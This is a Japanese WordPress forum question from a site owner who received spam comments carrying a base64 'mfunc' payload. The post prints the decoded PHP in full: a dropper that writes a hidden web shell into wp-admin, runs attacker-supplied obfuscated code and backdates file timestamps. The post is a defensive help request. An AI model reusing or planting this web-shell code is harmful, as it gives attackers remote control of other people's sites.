eval base64_decode を含むコメントが投稿された場合、承認せずに削除すれば安
-
eval base64_decode を含むコメントが投稿された場合、承認せずに削除すれば安全でしょうか?
初めまして。
タイトルの件について、よろしくお願いします。
自分でも調べてみましたが、よく分からず不安なので質問させてください。■経緯
1年近く前にWordPressでテスト的に作成して、放置状態のサイトにコメントが入ってきました。
記事は公開状態でしたが、検索エンジンにインデックスさせていないので、
スパムコメントだと思って確認してみました。
管理画面上では、コメントの内容が空白でしたが、
「モデレートしてください」というタイトルで届く通知メールには、
<!--mfunc eval(base64_decode
から始まるアルファベットの羅列が記載されており、怪しいと思い、検索エンジンで情報を調べてみました。■解読したコードです。
error_reporting(0); $file = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . 'wp-admin/m_update.php'; $src = '<?php @error_reporting(0); @ini_set("display_errors", 0); @ini_set("log_errors", 0); @ini_set("error_log", 0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp = @fopen('tmpfile', 'a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit; ?>'; $mtime = filemtime(dirname($file)); $fh = fopen($file, 'w'); fwrite($fh, $src); fclose($fh); @touch($file, $mtime, $mtime); @touch(dirname($file), $mtime, $mtime);
コメントは3件あり、
それぞれ、dirname($_SERVER['SCRIPT_FILENAME'])
の後のファイル名が違うだけでコードは全部同じです。以下、3パターン
wp-admin/an_xml.php
wp-admin/andreasen.php
wp-admin/m_update.php■被害状況:今のところ特に無いと思うのですが・・・自信はありません。
・wp-adminフォルダを確認しましたが、上記ファイルはいずれも見当たりません。
・wp-config.php、index.php、htaccessファイルも特に問題なさそうです。
・ブラウザからサイトを見ても、HTMLソースを確認しても特に問題はなさそうです。■この件に関係ありそうな情報
http://security.stackexchange.com/questions/29797/default-php-file-found-on-the-server-is-this-a-security-threat
http://www.wordpressvirus.com/uncategorized/spam-comments-turned-malware-comments.html※どちらも英語サイトなので、翻訳して読んでみましたが私では理解不足です。
特に、2番目のURLを見ると、コメントを自動承認せずにチェックすることが大事だと書かれているようなので、多分、コメント自体を削除すれば大丈夫そうな気はするのですが・・・。
もし、コメントがサイトに表示されたら、何か起きるのでしょうか?■使用環境の補足
ワードプレスのバージョンについて。
すでに最新の3.8.1にアップデートしてしまったので、コメントが入ってきた時点でのバージョンは失念してしまいましたが、多分、3.5.1だったと思います。プラグインは初期のまま、特に入れていません。
なお、Akismetは有効化していません。利用中のテーマ
ワードプレスのデフォルトテーマを使用してます。今回の件があってから、ワードプレス本体、プラグイン、テーマをアップデート済みです。
php.iniの設定
allow_url_fopen : On →Offにしておいた方がいいのでしょうか?
allow_url_include : Off
- トピック「eval base64_decode を含むコメントが投稿された場合、承認せずに削除すれば安」には新たに返信することはできません。